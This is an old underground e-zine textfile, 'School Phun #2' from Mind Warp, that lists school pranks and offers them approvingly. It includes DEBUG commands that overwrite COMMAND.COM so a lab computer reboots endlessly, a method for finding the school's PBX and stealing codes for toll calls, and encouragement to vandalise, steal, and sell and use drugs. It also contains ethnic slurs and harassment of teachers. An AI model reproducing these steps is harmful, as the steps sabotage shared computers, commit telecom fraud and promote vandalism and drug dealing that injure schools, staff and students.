%%% %%% %%%% %%% %% %%%%% %%%% %%%% %% %%%% %% %% %% %% %%% %% %% %% %% %% %% %% %% % %% %% %% %%%% %% %% %% %% %%%% %% %%% %%%%% // // //// ////// ////// // \\ \ \\ \\ \\ \\ \\ \\ \\ \\ // /// // //////// ////// ////// // \\\\ \\\\ \\ \\ \\ \\ \\ /// /// // // // // // // [ Mind Warp - Volume #2, Issue #7, File #034 ] [ "School Phun #2" by Raven ] ------------------------------------------------------------------------------ School Phun: Part 2 [Raven/MG] Yes, once again, I've assembled a list of some 'phun' activities to help make school life almost bearable. I'll skip the witty opening para- graphs and go straight to the list. :) 1. Get a can of WD-40 or some kind of other silicon based spray lubricant, and go to school early. Spray it out onto a rag, and start wiping down the seats and desk/table tops with it. After it kind of dries a little, people will sit down on they're chairs, and will be sliding all over the place.. If you applied it properly, it shouldn't be greasy, just slick. Now, some of the lubricant will stay on those people's butts, and they will 'infect' the rest of the chairs little by little as they continue to go to different classes throughout the rest of the day. This is quite a class disrupter. 2. In the morning when they make you stand for the pledge (you don't have to but they still stare at you funny if you don't) bring a little Canadian flag and pledge your alligience to it, instead. Here is the pledge I came up with, think up your own if ya want: "I pledge alliegance to the flag of the United Provinces of Canada, and to the government for which it stands. One very cold nation, without much smog, for draft dodgers and the Kids in the Hall." That'll piss 'em off. BTW - I love Canadians and wish I was one, except for you Quebecians.. I hate all ya'll from Quebec, ya stupid, wannabe-french mofo's.. 3. Get a big rock, and break a window or two. 4. If your school has a computer lab, and the computers are dos based IBM clones, then get onto the machine, and do the following (what you're supposed to type will be in quotes) : C:\>"ATTRIB -A -H -R -S COMMAND.COM" C:\>"DEBUG COMMAND.COM" -"E100 EA 00 00 FF FF" -"W" -"Q" This will first enable command.com to be re-written. Then, you'll have written the first 5 bytes of command.com to be EA0000FFFFhex, which is the instruction to jump to memory location FFFF:0000, thus rebooting the machine. In other words, every time the computer is turned on, it'll sit there in an infinate loop of rebooting itself. This is easily curable by inserting a dos diskette, and copying command.com over it, but this is the ONLY way to fix the problem. Thanx to Star Gazer for the idea. 5. Go out and either spend ten bucks, or hell, just steal one of those 'universal remotes' that can be used for your vcr and tv of most major brand names, or else get one of those nifty $60+ casio wrist remote watches. Now, take your remote to school, and if you find that you're stuck watching some boring movie on 'apes in nature' then you can make it a bit more interesting. 6. Have your girlfriend(sister, mom, whatever) give you some of those little perfum samples that come in the little glass vials, that women always seem to have several of. Take them and (works best on a male teacher) pour the lil suckers all over his chair/desk and his papers.. if you've got enough, try pouring one in every drawer of his desk. It's best on guys, because he'll be so disgusted, by the end of the day, he'll most likely have passed out :) and with women teachers, you often have to deal with the nasty old women who smell bad as it is, and actually like the smell. 7. When the time comes around for the voting of class officers, start putting up some campaign posters.. some blatantly fake campaign posters: ie. Ben Dover for Class Prez. etc.. etc.. 8. Get a bunch of nicely sharpened pencils, and spear them into the tiled ceiling of your school. This is great fun when you're utterly bored in some chemistry class or something. 9. In reference to number seven, run for class office. Any position you can get. Then, of course, do nothing. Who wants to do extra work? Or, you could have fun with it, and screw your school. Use your imagination. 10. Look up your schools number, and scan around it (100 numbers each way) and you should be able to find your school's pbx. Run code thief, (or get some k-rad kiddie to do it for you) get some codes for it, and call Australia from it. Or maybe some of those 900 sex party lines. Hmm, or get the new Future Crew demo by calling Scandinavia. :) 11. Earn some fast cash while at school, and sell drugs. 12. Go into your pop's porno mag collection, and find the address to 'get a free inflatable doll' or other such obscene sexual objects, and have them sent to your principal or a teacher of your choice, at the school. Ususally only costs a couple of bucks for postage. 13. Have more fun while at school, and DO drugs. 14. Surf the net, or read alt.drugs, and find yourself a '1001 ways to build a better bong' textfile, print it up, and distribute it to your classmates and teachers. 15. Force the principal into one of the restrooms. They'll be sick for weeks. I know, I know.. it's a pretty weak list, but I'm trying to finish all of my incomplete textfiles so I can release this long overdue volume tonight.. :) ============================================================================== Call Arsonist's Arsenal BBS the Mind Warp WHQ - (301) 208-0847 ==============================================================================